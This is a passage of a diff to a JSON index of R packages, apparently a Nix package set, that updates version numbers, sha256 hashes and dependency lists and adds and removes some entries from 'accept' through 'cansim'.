"name": "accept", - "version": "1.0.0", - "sha256": "0yjihmgi94yfwhnvgw4v235yyr8n6w1ass2qbmvk0ia1hmjis8zq", - "depends": ["dplyr", "reldist"] + "version": "1.0.2", + "sha256": "0lnb8z9q2ncraicpfizjn3kfvwhg9nb6jla9lh73gzhr8wm3gv73", + "depends": ["dplyr", "hardhat", "reldist", "tibble", "tidyselect", "vctrs", "vetiver"] }, "accessibility": { "name": "accessibility", @@ -40641,20 +40341,20 @@ }, "adbcdrivermanager": { "name": "adbcdrivermanager", - "version": "0.17.0", - "sha256": "1q4ac5wr5f697zdwhah4ccqxlmwkssz4jwx44fn46by258fwrggp", + "version": "0.18.0", + "sha256": "16zfwk1cl76ah80q62xbrri96d4dhmi9z6674478dsnnfpqvxqh2", "depends": ["nanoarrow"] }, "adbcpostgresql": { "name": "adbcpostgresql", - "version": "0.17.0", - "sha256": "19wy46g9g5kyqz616crdk10b42asaf1xfn28p0swkbxw643gfchk", + "version": "0.18.0", + "sha256": "17yarhcpn05zlci9sv4wrv1j8z706v8qn8i595vwdv2fi8i8hi8m", "depends": ["adbcdrivermanager"] }, "adbcsqlite": { "name": "adbcsqlite", - "version": "0.17.0", - "sha256": "1lfln79npf46lb1cr0bxdbkg2sgjm6w2n9rb73lq5s67lisk6g4b", + "version": "0.18.0", + "sha256": "1lr3nqf08biilkdivpkjfamd0fcim2g18vi7226zm67m39dv4qf0", "depends": ["adbcdrivermanager"] }, "adbi": { @@ -40947,8 +40647,8 @@ }, "admix": { "name": "admix", - "version": "2.3.4", - "sha256": "0psramahgsd2baf8lzglxiy9mxmydhbpfk473f4q6y181wnyrl2y", + "version": "2.4", + "sha256": "13dw5g2i00rwz43fx54m8379slwc7z3lvn1gz694yhn3v52ilx8i", "depends": ["EnvStats", "Iso", "MASS", "Rcpp", "Rdpack", "cubature", "fdrtool", "orthopolynom", "pracma"] }, "admixr": { @@ -41017,6 +40717,24 @@ "sha256": "19csivbg3f0g2r11l7jrciqq2lhg50km7qv29xfs6ba5cf678hb9", "depends": ["httr", "jsonlite", "lubridate"] }, + "adsoRptionCMF": { + "name": "adsoRptionCMF", + "version": "0.1.0", + "sha256": "1hpa5lsjckmcfa2n8c86xvbdr0fv3xi020rizjbrqcg9sxnnpsyc", + "depends": ["Metrics", "boot", "ggplot2", "nls2"] + }, + "adsoRptionCV": { + "name": "adsoRptionCV", + "version": "0.1.0", + "sha256": "1q3ws53w8hrm38vsxh6kmd97ca1wjlsvq7j2gs5g2a8zajhrvi4a", + "depends": ["nls2"] + }, + "adsoRptionMCMC": { + "name": "adsoRptionMCMC", + "version": "0.1.0", + "sha256": "0n1zzfsrdak0ba06hj7bs556m81aljav4vfvrad1pyjdx83lhi3r", + "depends": ["MCMCpack", "coda"] + }, "adventr": { "name": "adventr", "version": "0.1.8", @@ -41233,6 +40951,12 @@ "sha256": "0vaqmydww494ql6xbhhjkpap3lqkhf8hkbcrr1pk81qpszs0pndm", "depends": ["FNN", "R6", "class", "rpart"] }, + "aggreCAT": { + "name": "aggreCAT", + "version": "1.0.0", + "sha256": "0gkg2x1mznhavjxdw3sdg2q92np8vj7p6ngx4yaryrchq4yyvizp", + "depends": ["DescTools", "GoFKernel", "MLmetrics", "R2jags", "VGAM", "cli", "coda", "crayon", "dplyr", "ggplot2", "insight", "magrittr", "mathjaxr", "precrec", "purrr", "stringr", "tibble", "tidyr"] + }, "aggregation": { "name": "aggregation", "version": "1.0.1", @@ -41263,6 +40987,12 @@ "sha256": "1bvmwic2xjl36i994pzc0hhl3k2ghxivrq9i96ykxmklp9drlb7j", "depends": [] }, + "agpower": { + "name": "agpower", + "version": "0.1.2", + "sha256": "0vql7mr13rphvhbyg3qc85bxmxmzrncqff10y4bxg1c71r14bshg", + "depends": [] + }, "agriTutorial": { "name": "agriTutorial", "version": "0.1.5", @@ -41529,8 +41259,8 @@ }, "aka": { "name": "aka", - "version": "0.1.0", - "sha256": "0370rs9kz43azgclc11x8185sr5hq507mvk2pmwprwwj86j65vpk", + "version": "0.2.0", + "sha256": "10x9l3yg5li93pqvq3nmv9kwjw71kvs017lm6y852mji2brg9xmj", "depends": [] }, "akc": { @@ -41547,8 +41277,8 @@ }, "akima": { "name": "akima", - "version": "0.6-3.4", - "sha256": "0gmdh5kvq455k82pvdsqbkk69bi7g0960jq5rcl3cbhxm297arcm", + "version": "0.6-3.6", + "sha256": "1j5nkn2m06gnzihmp48rb7zrvam8xx4pnqvxh183xm67qi3pqi68", "depends": ["sp"] }, "akmbiclust": { @@ -41587,6 +41317,12 @@ "sha256": "0kw1agm9jqi9wl5zbx8bryngy751g3sih36rgbrx0m2170cy42d9", "depends": [] }, + "alcoholSurv": { + "name": "alcoholSurv", + "version": "0.7.0", + "sha256": "0rnsgml8hv5k9j2900vq4y2w74n7dzxy0hq42sqi87nbjvalp6ay", + "depends": ["sensitivitymv"] + }, "alcyon": { "name": "alcyon", "version": "0.8.1", @@ -41721,8 +41457,8 @@ }, "alone": { "name": "alone", - "version": "0.5", - "sha256": "0iwamh7sxq62rw5vlkfh9fjlj6mwz7fbpd3cbmqb1iw1l6yc8b9c", + "version": "0.6", + "sha256": "09znb8pd58vsjmf3ipw3r5p4lgv4fabhzxklkia6z33wgx6k13x7", "depends": [] }, "alookr": { @@ -41833,6 +41569,12 @@ "sha256": "0g0p90ir8amlkb0893qchxacxi2l9aazrjif6l1qqfmr7qwbhjbd", "depends": ["cli", "desc", "evaluate", "fs", "quarto"] }, + "alternativeROC": { + "name": "alternativeROC", + "version": "0.0.12", + "sha256": "0xbbqdl0fv08zwycm84rn9kcwbyh67wlcppj3gphz9k5fx1lb7qc", + "depends": ["Hmisc", "Rcpp", "pROC", "plyr", "sn"] + }, "altfuelr": { "name": "altfuelr", "version": "0.1.0", @@ -42153,9 +41895,9 @@ }, "anndata": { "name": "anndata", - "version": "0.7.5.6", - "sha256": "1q1ii43wfj68qdlzhqj9msxqsfzpidhhlfrisax4p943v7yh75mi", - "depends": ["Matrix", "R6", "assertthat", "reticulate"] + "version": "0.8.0", + "sha256": "0d9g77d1fm9v8mxvrz032r07q7896xgwzz9gg8wd3nlxwld54mj6", + "depends": ["Matrix", "R6", "assertthat", "cli", "lifecycle", "reticulate"] }, "annmatrix": { "name": "annmatrix", @@ -42369,16 +42111,10 @@ }, "apache_sedona": { "name": "apache.sedona", - "version": "1.7.1", - "sha256": "0clpnd12k0im5jin75hq8238j363nh9bi1g380p3c5h751nva2bh", + "version": "1.7.2", + "sha256": "0aq0vj11m8i0ii74ml71km38rrvh7nlxfsd7f1i5ykbmcqks25ay", "depends": ["cli", "dbplyr", "lifecycle", "rlang", "sparklyr"] }, - "apc": { - "name": "apc", - "version": "2.0.0", - "sha256": "0vh6iyxm46k8sfa1xgz0y6m619snnm8s072kml5qgiiw5s7bqnpq", - "depends": ["AER", "ChainLadder", "ISLR", "car", "ggplot2", "lattice", "lmtest", "plm", "plyr", "reshape", "survey"] - }, "apcf": { "name": "apcf", "version": "0.3.2", @@ -42427,12 +42163,6 @@ "sha256": "1pwr1i3wxh0l24cqp59q6n59p21v81fmgxkb4jmf50a3ggb1lcdj", "depends": ["Rcpp", "kmer", "openssl"] }, - "aphylo": { - "name": "aphylo", - "version": "0.3-4", - "sha256": "06zccdhvcyjxzx71rark0jn1wj9d0kjvpv063x9p46ywy5ibcvk5", - "depends": ["MASS", "Matrix", "Rcpp", "ape", "coda", "fmcmc", "xml2"] - }, "api2lm": { "name": "api2lm", "version": "0.2", @@ -42453,14 +42183,14 @@ }, "aplot": { "name": "aplot", - "version": "0.2.5", - "sha256": "1fzpnfh5kn49ng7s1ssgmpih2chv30shy5dsgbjbp3wmx7qri9ym", + "version": "0.2.6", + "sha256": "1f0cpw0a3q7wxnpn7zslxs94jb3rv8ims0c9i4bgcilqxmb23s95", "depends": ["ggfun", "ggplot2", "ggplotify", "magrittr", "patchwork", "yulab_utils"] }, "aplotExtra": { "name": "aplotExtra", - "version": "0.0.3", - "sha256": "0lpp285cnb76byf6mm4m3qzam447ldabnsda82vw1pmxgpgzrrql", + "version": "0.0.4", + "sha256": "1jrk05b98q92n3h41ga0pj8h4yc1w5pw6ym85w7l8pdn9f49hnz9", "depends": ["aplot", "dplyr", "forcats", "ggfun", "ggplot2", "ggstar", "maftools", "purrr", "rlang", "tibble", "tidyr", "yulab_utils"] }, "aplpack": { @@ -42681,8 +42411,8 @@ }, "archeoViz": { "name": "archeoViz", - "version": "1.4.0", - "sha256": "1992vpk0qjf0hbzpq27p0w0r2zlfj15yix7qqn9i8hl9bajamp9c", + "version": "1.4.1", + "sha256": "17jqfnqv0rl96xwmh5nb89m34nsl3kkzqcjvyqahgqax3cvc65c5", "depends": ["geometry", "ggplot2", "htmlwidgets", "knitr", "mgcv", "plotly", "reshape2", "shiny", "shinythemes", "svglite"] }, "archeofrag": { @@ -42739,12 +42469,6 @@ "sha256": "1qb8cim9acp4zz8rrl0drrzr2nj7msj6sghlzrll4jxgv2xi7nzi", "depends": ["DBI", "RCurl", "RSQLite", "digest", "flock", "httr", "lubridate", "magrittr"] }, - "archivist_github": { - "name": "archivist.github", - "version": "0.2.6", - "sha256": "092fzi505vx9xbk41m86d0isxna42iflp7q2kjiqa6z1ccvim2yx", - "depends": ["archivist", "digest", "git2r", "httr", "jsonlite"] - }, "arcpbf": { "name": "arcpbf", "version": "0.1.7", @@ -42987,8 +42711,8 @@ }, "arrow": { "name": "arrow", - "version": "20.0.0", - "sha256": "1fyx5pvj3zpsv8295nkdbcr0h9w8hhlflkbjigmb6lvgqwsvrdcz", + "version": "20.0.0.2", + "sha256": "19xnz3df1r9n01dbsf05xkw6q5w8vipzkkb5bpx7jlcp38jnp8zn", "depends": ["R6", "assertthat", "bit64", "cpp11", "glue", "purrr", "rlang", "tidyselect", "vctrs"] }, "arrowheadr": { @@ -43015,12 +42739,6 @@ "sha256": "0qvs3ld28djnjnggdhqjwq8sbv8zz322qahlvf7dnx35yqf6xkms", "depends": ["knitr"] }, - "artfima": { - "name": "artfima", - "version": "1.5", - "sha256": "1nqsq9fsqk9kag9n7i2r9yvf578nkdfrkkv7qy8650prka0jca2p", - "depends": ["gsl", "ltsa"] - }, "arthistory": { "name": "arthistory", "version": "0.1.0", @@ -43041,8 +42759,8 @@ }, "arules": { "name": "arules", - "version": "1.7-10", - "sha256": "0rhjrqakmad42minlbbds0l41wn8c5kljznv9fvqsqqhqqggpxbn", + "version": "1.7-11", + "sha256": "0p4rxd4k7j1nhz05zw2w0rqiryvrw75gcga2nrmmmp7ghd42g527", "depends": ["Matrix", "generics"] }, "arulesCBA": { @@ -43179,8 +42897,8 @@ }, "asm": { "name": "asm", - "version": "0.2.3", - "sha256": "06ldb2dzp4vhyk6hy368bf5vnpjxn1f6zs13p7qmaknp97xfzzsd", + "version": "0.2.4", + "sha256": "1qxzm3n963mv8b12d123kwk0q7b47wj05ychmhy8s85hfvs7nif0", "depends": ["Iso", "MASS", "fdrtool", "pracma", "quantreg"] }, "asmbPLS": { @@ -43311,8 +43029,8 @@ }, "aster": { "name": "aster", - "version": "1.1-3", - "sha256": "1piimmrsvhbps8ld6vjjg82kf8pm5nwl91437dglid802p51pwlm", + "version": "1.3-5", + "sha256": "1ca1r62v58adj7vnv6g01hsghkfaqgwicg3xrk5j2p83hsl0fn3l", "depends": ["trust"] }, "aster2": { @@ -43321,6 +43039,12 @@ "sha256": "1dcmfirgy85ca9v542szjhxp5660kcp4lq07q7bdv1ghc3l2l7qs", "depends": ["Matrix"] }, + "astgrepr": { + "name": "astgrepr", + "version": "0.1.1", + "sha256": "14sn968syzflxlcyk3886z2a0hpbhscc5jwaxj8k6fv5qmsafs8r", + "depends": ["checkmate", "rrapply", "yaml"] + }, "astroFns": { "name": "astroFns", "version": "4.2-1", @@ -43413,8 +43137,8 @@ }, "atime": { "name": "atime", - "version": "2025.5.12", - "sha256": "0l47gn665cqx5fp1dfb17sdb20xvv92fc697lkiwnqsy5cpdi6la", + "version": "2025.5.24", + "sha256": "09kcynxrgqcrw3ajmbn5whav5s1l87h4jf884ambhzp3iqq5gxpz", "depends": ["bench", "data_table", "git2r", "lattice"] }, "atlas": { @@ -43755,8 +43479,8 @@ }, "autoslider_core": { "name": "autoslider.core", - "version": "0.2.4", - "sha256": "0a55xq7md0hdzcjlspck0a8a22439jkn0nmii0sx3y654kxcb5vx", + "version": "0.2.5", + "sha256": "1xf95qbxna6rh8x6bn6024l57v4aa3rwh0vlz6b0r0a6lnn39xf3", "depends": ["assertthat", "checkmate", "cli", "dplyr", "flextable", "forcats", "ggplot2", "ggpubr", "gridExtra", "gtsummary", "officer", "rlang", "rlistings", "rtables", "rvg", "stringr", "survival", "tern", "tidyr", "yaml"] }, "autostats": { @@ -44277,8 +44001,8 @@ }, "banditpam": { "name": "banditpam", - "version": "1.0-1", - "sha256": "05ym5x178rgfvpvqgiv46ly6xnk44d0j74ykdxkzshil7aig1xfk", + "version": "1.0-2", + "sha256": "1kdmk1wf311mk4zvz76fchjkamfv35pf8p0z6djx9k455sgwkfw5", "depends": ["R6", "Rcpp", "RcppArmadillo"] }, "banditsCI": { @@ -44317,6 +44041,12 @@ "sha256": "1i0b3v4n0xylcbrg9i3a28z037m27vjfg61xz2hl99wavn0bsl1j", "depends": [] }, + "banter": { + "name": "banter", + "version": "0.9.8", + "sha256": "0pn19zkkw29xiidv19l05c8ildn9p5lx0hhp0v95ipqa8nhha71c", + "depends": ["dplyr", "ggplot2", "gridExtra", "randomForest", "rfPermute", "rlang", "swfscMisc", "tibble", "tidyr"] + }, "banxicoR": { "name": "banxicoR", "version": "0.9.0", @@ -44451,9 +44181,9 @@ }, "baseline": { "name": "baseline", - "version": "1.3-5", - "sha256": "0l0llb3pi89ixkpvfg5vbvwwv3gzldf0g98rrd3vkm7q26rqmmd2", - "depends": ["SparseM", "limSolve"] + "version": "1.3-6", + "sha256": "0ywfkgixahx21mqq81wmr3zcfcrm1vsspsf47dj750iwcpdhwcnz", + "depends": ["SparseM"] }, "basemaps": { "name": "basemaps", @@ -44479,6 +44209,12 @@ "sha256": "012p6xs9dkvpwcqkm9qgnc5v6sg6qhwpcaqxfnwx30fpim99liai", "depends": [] }, + "bases": { + "name": "bases", + "version": "0.1.2", + "sha256": "1xddz4j7qnkifwglpmys3lqwsy66zr0qwq5nmbk6gn7kkwn6x3wk", + "depends": ["cpp11", "rlang"] + }, "basetheme": { "name": "basetheme", "version": "0.1.3", @@ -44829,9 +44565,9 @@ }, "bayesforecast": { "name": "bayesforecast", - "version": "1.0.1", - "sha256": "0wnz6qblm3ib7lpj860s4lhrs4gvmyrmk779r38rybfvxw4xssii", - "depends": ["BH", "MASS", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "astsa", "bayesplot", "bridgesampling", "forecast", "ggplot2", "gridExtra", "loo", "lubridate", "prophet", "rstan", "rstantools", "zoo"] + "version": "1.0.5", + "sha256": "0p9c8xhfja1wklamsdaynfabfpf9ix5qbihv45j4zi6fyfnv7mc9", + "depends": ["BH", "MASS", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "bayesplot", "bridgesampling", "forecast", "ggplot2", "gridExtra", "loo", "lubridate", "prophet", "rstan", "rstantools", "zoo"] }, "bayesian": { "name": "bayesian", @@ -44977,6 +44713,12 @@ "sha256": "0lsp9g9xjwwf2znh4vld41pgdn55ncvmdsyg84ifhdqzjrsgwc6f", "depends": ["rlang", "stringr"] }, + "bayou": { + "name": "bayou", + "version": "2.3.1", + "sha256": "0i0zkag8mrjdr7w4489gp6bf5mykcnnwgi31ypjk52y09haz7a5n", + "depends": ["MASS", "Matrix", "Rcpp", "RcppArmadillo", "ape", "assertthat", "coda", "denstrip", "fitdistrplus", "foreach", "geiger", "mnormt", "phytools"] + }, "baystability": { "name": "baystability", "version": "0.2.0", @@ -44989,12 +44731,6 @@ "sha256": "05gd8i6y5fvkx12v55drff0fqpkg7bs3qjcaqmmcid9sl4168ms8", "depends": ["dataRetrieval", "digest", "dplyr", "fitdistrplus", "knitr", "lubridate", "memoise", "mgcv", "pander", "plyr", "readxl", "sessioninfo", "survival"] }, - "bazar": { - "name": "bazar", - "version": "1.0.11", - "sha256": "1q2w5pvlb51lzbb5k719sf1lrhffandkfqlcvi2prw4dmq7qjxv9", - "depends": ["kimisc"] - }, "bbdetection": { "name": "bbdetection", "version": "1.0", @@ -45009,9 +44745,9 @@ }, "bbknnR": { "name": "bbknnR", - "version": "1.1.1", - "sha256": "0zwsk491pgfr0dxbpkw1zqa4fi4d8j1bdfiridxq6f07aypx8nmg", - "depends": ["Matrix", "Rcpp", "RcppAnnoy", "Rtsne", "Seurat", "SeuratObject", "future", "glmnet", "magrittr", "reticulate", "rlang", "tidytable", "uwot"] + "version": "2.0.1", + "sha256": "14bfv7bb1lzqw0098qp10l57yr98fsdi9a8w7xqsn51r4gchfb67", + "depends": ["Rcpp", "RcppAnnoy", "RcppEigen", "Rtsne", "Seurat", "SeuratObject", "future", "future_apply", "glmnet", "rlang", "rnndescent", "tidytable", "uwot"] }, "bbl": { "name": "bbl", @@ -45039,9 +44775,9 @@ }, "bbotk": { "name": "bbotk", - "version": "1.5.0", - "sha256": "1mm8bvnlinwbrxrmjw16nmqkgxcixcwa7i4lh3s49g5i82yk7xmb", - "depends": ["R6", "checkmate", "data_table", "lgr", "mlr3misc", "paradox"] + "version": "1.6.0", + "sha256": "04qmd5cawj1wsv2mcdaj7jf5p32win2hlq0gi6y00dfm6cnc05ys", + "depends": ["R6", "checkmate", "cli", "data_table", "lgr", "mlr3misc", "paradox"] }, "bbreg": { "name": "bbreg", @@ -45183,9 +44919,9 @@ }, "bdlim": { "name": "bdlim", - "version": "0.4.2", - "sha256": "04qgmanb198abrkqfv4n0fk0zib3nad14s7pz85n4ws0252vk10r", - "depends": ["BayesLogit", "LaplacesDemon", "dplyr", "ggplot2", "tidyr"] + "version": "0.5.0", + "sha256": "1i47ah965j3szjh5a1rjysgc13bx3dw94vsjrh0w4c47hp7kns00", + "depends": ["BayesLogit", "LaplacesDemon", "ggplot2"] }, "bdlp": { "name": "bdlp", @@ -45619,10 +45355,16 @@ "sha256": "1i6rhzxj6c8hfg9pfzcnwc98lm3jj4fx8ybldjg0gxl1p1h9yy9n", "depends": ["Rcpp", "Rdpack", "forecast", "strucchangeRcpp", "zoo"] }, + "bfboin": { + "name": "bfboin", + "version": "0.1.0", + "sha256": "0mjk8384ram3ywxnclnrwz5483260b9vvbzshzs3adc6h872fqdz", + "depends": ["BOIN", "purrr"] + }, "bfboinet": { "name": "bfboinet", - "version": "0.2.0", - "sha256": "0n9q9j7a386gylnm7cynbnb7bmn0v7l4yyrm5r2kn07ajdwp1p7p", + "version": "0.4.0", + "sha256": "1m98gzld9y5a2mn6s0gibzsw06xxkkx7mfdgy35ciikviz7p2b37", "depends": ["Iso", "copula", "dplyr", "magrittr", "tidyselect"] }, "bfp": { @@ -45741,8 +45483,8 @@ }, "bibliometrix": { "name": "bibliometrix", - "version": "5.0.0", - "sha256": "0ldnky21lkvpd71cndcnxnz0x1bfqy77fpyp4wx557rqbj25xydx", + "version": "5.0.1", + "sha256": "1ylyxrjpd9cdd18nyyvspw3zdr7lkh0p3chk5xzg4dz870acmkg0", "depends": ["DT", "Matrix", "SnowballC", "bibliometrixData", "ca", "dimensionsR", "dplyr", "forcats", "ggplot2", "ggrepel", "igraph", "openalexR", "openxlsx", "plotly", "pubmedR", "purrr", "readr", "readxl", "rscopus", "shiny", "stringdist", "stringi", "stringr", "tidyr", "tidytext", "visNetwork"] }, "bibliometrixData": { @@ -45805,6 +45547,12 @@ "sha256": "1c3p6bnn27f11mv28fm50gfm03k81y6lfm1lnnh6pw5wsagzzjbn", "depends": ["S7", "checkmate", "data_table", "fastmap", "fs", "jsonlite", "nanotime", "uuid"] }, + "bidux": { + "name": "bidux", + "version": "0.1.0", + "sha256": "0z2rfbn47yj78gcrxfqbfjxsss7d9j649hjf1b6sfqn010l2f6s4", + "depends": ["cli", "dplyr", "jsonlite", "readr", "stringdist", "stringr", "tibble"] + }, "bife": { "name": "bife", "version": "0.7.2", @@ -46071,8 +45819,8 @@ }, "bimets": { "name": "bimets", - "version": "4.0.3", - "sha256": "172nwa96k94j68f477nh1bf33dajma3140fjfbj09zw6p6hl06ay", + "version": "4.0.4", + "sha256": "1njlj1qq1878k3h2wff7gv5ckb9ki6vvm3l8j146hncp7fw8zxml", "depends": ["xts", "zoo"] }, "binGroup": { @@ -46107,8 +45855,8 @@ }, "binaryRL": { "name": "binaryRL", - "version": "0.8.0", - "sha256": "0va9mh9l960iifplbjghc5ykq98k3bsbypqgimm0vdgmpb72dw3g", + "version": "0.8.7", + "sha256": "1f6lc14i479rv7c6k2bjn8x53g6q5jycxy9k7c8gxcl8i19sn0bj", "depends": ["doFuture", "doRNG", "foreach", "future", "progressr"] }, "binb": { @@ -46227,8 +45975,8 @@ }, "binsegRcpp": { "name": "binsegRcpp", - "version": "2023.8.31", - "sha256": "1rx8rxgzjf4bjbx6gpf70pnma05g51lg6l1z0kdswj8m3pmqnk93", + "version": "2025.5.13", + "sha256": "15yhab0vnkzqrrsd1hqqb89ln5rd70jzkj9jz34y0nrsdzsmnwgb", "depends": ["Rcpp", "data_table"] }, "binseqtest": { @@ -46377,9 +46125,9 @@ }, "biometryassist": { "name": "biometryassist", - "version": "1.2.2", - "sha256": "0kix7wwfxdyggdv5q0sm53k0m4sc0fjx596g78kns3lsz69x2z6y", - "depends": ["agricolae", "askpass", "cowplot", "curl", "emmeans", "farver", "ggplot2", "lattice", "multcompView", "pracma", "rlang", "scales", "stringi", "xml2"] + "version": "1.3.0", + "sha256": "01k1p3a2y8fiz1g0mx4rykcaywl3vkr5mc2pka9dlr8h0pvwd0wk", + "depends": ["agricolae", "askpass", "cowplot", "curl", "emmeans", "ggplot2", "lattice", "multcompView", "pracma", "rlang", "scales", "stringi", "xml2"] }, "biomod2": { "name": "biomod2", @@ -46537,12 +46285,6 @@ "sha256": "07ck59m5mw897a60vmdn1b3qrmqj20qpfsn3093haqbpn8z13dmn", "depends": [] }, - "birp": { - "name": "birp", - "version": "0.0.3", - "sha256": "048cmam746jg2hvjl2cmxiymfzqx3lz1kgh7mdwsi61wi6g591fh", - "depends": ["MASS", "Rcpp", "RcppArmadillo"] - }, "birtr": { "name": "birtr", "version": "1.0.0", @@ -46825,6 +46567,12 @@ "sha256": "03149z73d19fg5cgsgvkj2m5vb0jssxwxp83bc76q7nq8mm4rwnr", "depends": ["Rcpp", "rtkore"] }, + "blocking": { + "name": "blocking", + "version": "1.0.0", + "sha256": "0ckj6ynq640i3cwjavkkl22s50nlyxx56aq2zrv46i0kgk8jsimh", + "depends": ["Matrix", "RcppAlgos", "RcppAnnoy", "RcppHNSW", "data_table", "igraph", "mlpack", "readr", "rnndescent", "text2vec", "tokenizers"] + }, "blocklength": { "name": "blocklength", "version": "0.2.2", @@ -47007,8 +46755,8 @@ }, "bnRep": { "name": "bnRep", - "version": "0.0.3", - "sha256": "0dh9p07v6p5ndqbq52aizwggmpasw2p7k91ia87w19v38dqn2z88", + "version": "0.0.4", + "sha256": "10ia4p2x3zks6wvfyapmja5mq3byp2ri02vb7gfhdya43ykps0yd", "depends": ["DT", "Rgraphviz", "bnlearn", "dplyr", "qgraph", "shiny", "shinyjs", "shinythemes"] }, "bnclassify": { @@ -47127,9 +46875,9 @@ }, "boinet": { "name": "boinet", - "version": "1.1.0", - "sha256": "0jk1igg45zpds8qadzwaifmcj3b61ghn2rqx4x8b4pv3mi2sk2cn", - "depends": ["Iso", "copula", "mfp"] + "version": "1.3.0", + "sha256": "1dpam5165mr7vyxn6g5jk5pj0x1z1ywpbkxyfy12yz4ypb39q5b2", + "depends": ["Iso", "copula", "gt", "mfp", "tibble"] }, "boiwsa": { "name": "boiwsa", @@ -47179,6 +46927,12 @@ "sha256": "1h16bwwl14ikyx489n8bx63qnp7k982lxm1xlrdr8jnaq6kc7fgp", "depends": ["MASS", "Rcpp", "RcppArmadillo", "brms", "broom", "checkmate", "dplyr", "forcats", "gbm", "ggplot2", "glmnet", "splines2", "survival", "tibble", "tidyr", "tidyselect", "vdiffr"] }, + "boodd": { + "name": "boodd", + "version": "0.1", + "sha256": "10p4crv3bgc7223zwyzc5g91d81bv1gnpz6ask825cc4qkl3mdqq", + "depends": ["fBasics", "fGarch", "geoR", "timeDate", "timeSeries", "tseries"] + }, "boodist": { "name": "boodist", "version": "1.0.0", @@ -47277,8 +47031,8 @@ }, "bootSVD": { "name": "bootSVD", - "version": "1.1", - "sha256": "16d3qv8vzhfvl9vbfglkb3csmc4npb29jcq9apv89hj7bkcapvi9", + "version": "1.2", + "sha256": "0c6q89jmwc78ld019pl1d9cg2gh85m00x5v9rdfqmgkk82l0hnji", "depends": ["ff"] }, "bootStateSpace": { @@ -47739,9 +47493,9 @@ }, "brickster": { "name": "brickster", - "version": "0.2.7", - "sha256": "0hlc0zzbrd5qrk54ayz8gir9zvzxgi1jp821v8k7h7sfv4j7mz2p", - "depends": ["R6", "arrow", "base64enc", "cli", "curl", "dplyr", "glue", "httr2", "ini", "jsonlite", "purrr", "reticulate", "rlang", "tibble"] + "version": "0.2.8", + "sha256": "1lamksgnn89nc497l2zfa2npbrfqh7gffqzl24dhwvxni5jp0hm4", + "depends": ["base64enc", "cli", "curl", "dplyr", "glue", "httr2", "ini", "jsonlite", "nanoarrow", "purrr", "rlang", "tibble"] }, "bridgedist": { "name": "bridgedist", @@ -47853,8 +47607,8 @@ }, "broman": { "name": "broman", - "version": "0.84", - "sha256": "01q05xvxlam6isdhaq48sfw5fh60pcqlhivs7c38lh7c8r3w2172", + "version": "0.86", + "sha256": "165bssyahh7pyhy2n4dlkq2m3ipqj2xqrpj5lkyk3ppv0kn8i7j1", "depends": ["ggplot2"] }, "broom": { @@ -47955,8 +47709,8 @@ }, "bscui": { "name": "bscui", - "version": "0.1.5", - "sha256": "0qznfnqfji6vb0y2nawdi8xn6w7l1l8p1326ypjga1wla7ni5a52", + "version": "0.1.6", + "sha256": "1wbakak2aaaml5m6lz1hvpf4bjk81x6yrqcpk8nz035z2z9isqxy", "depends": ["htmlwidgets", "webshot2"] }, "bsearchtools": { @@ -48055,18 +47809,18 @@ "sha256": "13701llj5k7vssmgb4fvxswcf9bsc4pxjvh67znbsvrv5cmjh5x3", "depends": ["Matrix", "R6"] }, + "bssbinom": { + "name": "bssbinom", + "version": "1.0.0", + "sha256": "1b3yf89qk9mi5knhqzdgmlm34bsis8y9p331mwv52b6zh1wv2jws", + "depends": ["TeachingDemos", "pscl"] + }, "bssm": { "name": "bssm", "version": "2.0.2", "sha256": "121fb12n5z3w97xpj5ga1985drv3h4g7b0xy5yk9sfqfaqf92yyn", "depends": ["Rcpp", "RcppArmadillo", "bayesplot", "checkmate", "coda", "diagis", "dplyr", "posterior", "ramcmc", "rlang", "sitmo", "tidyr"] }, - "bssn": { - "name": "bssn", - "version": "1.0", - "sha256": "1brxbvcvqy8n9xpvp5kz47x5ps8hdqgnh6s49051qaylp95qm432", - "depends": ["ClusterR", "mvtnorm", "sn", "ssmn"] - }, "bst": { "name": "bst", "version": "0.3-24", @@ -48129,9 +47883,9 @@ }, "btrm": { "name": "btrm", - "version": "0.1.0", - "sha256": "0limvn2n1rchp55l440gfifz6ci87dkih1rzgzvmlymdgf6nqq17", - "depends": ["arm", "pROC"] + "version": "0.2.0", + "sha256": "130ylhn1kmaj8anbshxd0z50lk870pyp1lxy9kvppdq711faq5cx", + "depends": ["MASS", "arm", "pROC"] }, "bubbleHeatmap": { "name": "bubbleHeatmap", @@ -48259,6 +48013,12 @@ "sha256": "1q8wyzbgxhn0bsc5h2mr53kfk45019x6naxq591glrkv2m02m7ll", "depends": ["glue", "purrr", "rlang", "withr"] }, + "bunsen": { + "name": "bunsen", + "version": "0.1.0", + "sha256": "0yvi7jk00v68vdj7kgvmmi847vx1zghhv7b6nvnm1ayy5x25f7vv", + "depends": ["Rcpp", "boot", "clustermq", "survival"] + }, "bupaR": { "name": "bupaR", "version": "0.5.4", @@ -48621,8 +48381,8 @@ }, "calibmsm": { "name": "calibmsm", - "version": "1.1.1", - "sha256": "1yg5m2zsiw005fdihlilk43h27c7yyzlnbsb32qr9k67q010rk00", + "version": "1.1.3", + "sha256": "0940z9z32r25pjkvbgb3c6m44d483ry08hv17bqq0c9gnnwahy46", "depends": ["Hmisc", "VGAM", "boot", "dplyr", "ggExtra", "ggplot2", "ggpubr", "gridExtra", "mstate", "rms", "survival", "tidyr"] }, "calibrar": { @@ -48657,8 +48417,8 @@ }, "calidad": { "name": "calidad", - "version": "0.8.0", - "sha256": "17xcvi1gs6hflqbdkq9vpsjxbcgpl3khb9bv64190yylrmdvkahg", + "version": "0.8.1", + "sha256": "0pi7qd0c7ssxs8h0x4zp5ns31lmpf9mvpmw2xhr74y8431zirdk4", "depends": ["dplyr", "haven", "kableExtra", "purrr", "rlang", "stringr", "survey"] }, "callback": { @@ -48753,9 +48513,9 @@ }, "camtrapdp": { "name": "camtrapdp", - "version": "0.3.1", - "sha256": "0aspfqjiv5xq8p7rchg4aqsnl0s7692pgq1bvgiq3i0vhlwizcd5", - "depends": ["cli", "dplyr", "frictionless", "memoise", "purrr", "readr"] + "version": "0.4.0", + "sha256": "0sh2bshx7faicaq1pn14yx2ivy8mqcvbk75lrmbacsfwzri7z4rp", + "depends": ["EML", "cli", "dplyr", "frictionless", "memoise", "purrr", "readr", "rlang", "stringr", "uuid"] }, "canadamaps": { "name": "canadamaps", @@ -48813,8 +48573,8 @@ }, "cansim": { "name": "cansim", - "version": "0.4.2", - "sha256": 